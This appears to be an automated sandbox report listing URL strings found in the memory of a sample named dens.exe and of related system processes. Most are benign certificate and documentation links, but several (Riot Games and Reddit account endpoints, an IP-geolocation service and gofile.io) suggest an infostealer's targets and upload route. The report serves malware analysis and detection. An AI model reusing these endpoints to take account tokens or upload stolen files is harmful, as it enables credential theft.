00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _uuid.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeS
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dens.exe, 00000001.00000002.2062990584.000002D9ABAE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: dens.exe, 00000001.00000002.2062990584.000002D9ABAE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000034.00000003.1792575862.000001DE9064D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: mshta.exe, 0000001E.00000003.1791248037.000001E0907A9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001E.00000003.1791490293.000001E0907AA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001E.00000003.1815210960.000001E0907AA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001E.00000002.1818084355.000001E0907AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w%
Source: qmgr.db.52.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tar.gz
Source: dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tgz
Source: dens.exe, 00000001.00000002.2060821031.000002D9AB255000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044923552.000002D9AB254000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052355353.000002D9AB255000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036788862.000002D9AB253000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033820717.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://httpbin.org/post
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json0
Source: powershell.exe, 00000052.00000002.1907212473.00000217BD754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1907212473.00000217BD611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663289848.00000107DAD6F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663289848.00000107DAD6F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dens.exe, 00000001.00000002.2063237923.000002D9ABD20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org
Source: dens.exe, 00000001.00000002.2060821031.000002D9AB255000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044923552.000002D9AB254000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052355353.000002D9AB255000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036788862.000002D9AB253000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033820717.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org/
Source: dens.exe, 00000001.00000002.2063237923.000002D9ABD20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org:80
Source: powershell.exe, 00000052.00000002.1892866312.00000217AD5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: dens.exe, 00000000.00000003.1682761264.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677763229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: dens.exe, 00000000.00000003.1682761264.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1682761264.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677916085.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677763229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: dens.exe, 00000001.00000003.1953230654.000002D9AB2E5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041941512.000002D9AB35B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1772883134.000002D9AB2E5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB333000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044144518.000002D9AB35D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028227051.000002D9AB2E5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037555294.000002D9AB2EE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703198542.000002D9AB356000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047336297.000002D9AB371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: powershell.exe, 00000052.00000002.1892866312.00000217AD5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
